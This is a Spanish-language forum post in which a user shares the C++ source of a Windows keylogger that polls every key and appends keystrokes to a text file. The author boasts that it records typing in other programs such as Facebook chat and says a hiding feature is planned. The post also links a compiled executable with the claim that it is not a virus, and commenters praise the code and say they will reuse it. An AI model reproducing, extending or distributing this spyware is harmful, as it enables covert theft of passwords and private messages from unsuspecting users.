Un pequeño keylogger en c++

Hola gente como estan aca les traigo un keylogger que estuve haciendo estos dias en c++ , todavia no esta bien terminado, no obstante funciona bastante bien. Funciona para:
Mayusculas..
minusculas..
numeros..
y conbinaciones de shift y otras letras.
falta mejorarlo para el tema de los simbolos que salen con shift y seguro le faltan algunas cosas.
Este crea un archivo de texto en el escritorio y escribe en dicho archivo todas las letras las teclas que se van presionando
aqui el codigo.
Lo bueno que funciona aun cuando esten interactuando con otro programa o ya sea que esten chateando en el facebook igual registra todo jajaja. Falta el tema de que se oculte nada mas pero eso lo hare cuando lo termine bien.

#include <windows.h>
#include <iostream>
#include <fstream>


using namespace std;
int main(int argc, char** argv)
{
 int i=1;
 int x=16;
 int h=20;
 while(i)
 {for(int A=0;A<=255;A++)
  {if(A==160 or A==161 or A==16 or A==20 or A==1 or A==2 or A==13 or A==9)
    {
    }
    else
    {ofstream fs("probando.txt",ios_base::app);    
     char s;
     if((GetKeyState(x)==-127 or GetKeyState(x)==-128) and (GetAsyncKeyState(A)==-32767 or GetKeyState(A)==-32767))
     {if(GetKeyState(h)==true)
       {s=A+32;
       }
       else
       {s=A;
       }
      fs<<s;
 fs.close();  
     }
     else
     {if(GetAsyncKeyState(A)==-32767)
      {
       if(A>=65 and A<=90)      
        {      
       if(GetKeyState(h)==true)
         {s=A;
         }
         else
         {s=A+32;
         }
    fs<<s;
    fs.close();
        }
     
         if(A>=96 and A<=105)
         {
       
         A=A-96;
         
         fs<<A;
         A=A+96;
         fs.close();
         cout<<s<<A;
        }
        if((A>=0 and A<=64) or (A>=91 and A<=95) or A>=106)
            {s=A;      
            fs<<s;
            }
     fs.close();
       }
     }
    }
  }
 }
 return 0;
}


saludos

y si lo quieren probar pueden descargarlo, no se preocupen no hay nada raro no es un virus ni nada.

                                    http://BillionUploads.com/5lkrepm66jzy

Supuestamente deberia funcionarles...
Un pequeño keylogger en c++
70 Puntos Score: 7.8/10
Visitas: 4121 Favoritos: 8
Ver los usuarios que votaron...
14 Comentarios Un pequeño keylogger en c++
hola me llamo la atencion es un hack o para que sirve??  
+5 para que te incentives y lo termines
@Romanex99
es un programa que registra las teclas que se presionan, y crea un archivo de texto donde escribe todo lo que se va pulsando. una vez que lo inicias. Por ejemplo estas en tu facebook y escrib?
Era que hubieras echo un tuto para los que les gusta programar de como lo haces con fotos y todo jejejeje  
Buen codigo amigo  
Cita Zulander: Mostrar
YO +10
@Zulander @DAnGOoCL @El Biga ,gracias amigos ya lo seguire haciendo, y @pipe_84 ya lo mejorare al post con las explicaciones de como funciona y pondre un video, gracias
Esto me hubiera servido hace a?
Wow! buen codigo   lo checare aver q tal funciona, gracias por compartir, buen trabajo de programaci?
Gracias por compartir, mas tarde lo reviso y re-utilizare el codigo.
+10
Es muy bueno el c?
ajam... se que es un keyloger y toda la bola.. pero este codigo en donde lo encajo? jajaja en el programita que tengo que bajar desde el link que pusiste?   o hacer copy paste en un block de notas?   me mata la duda! un saludo!  
@AntraX54 el codigo se lo compila con dev-c++, y si queres descarga el exe y ejecutalo y comezara a funcionar.
Para dejar un comentario Registrate! o.. eres ya usuario? Accede!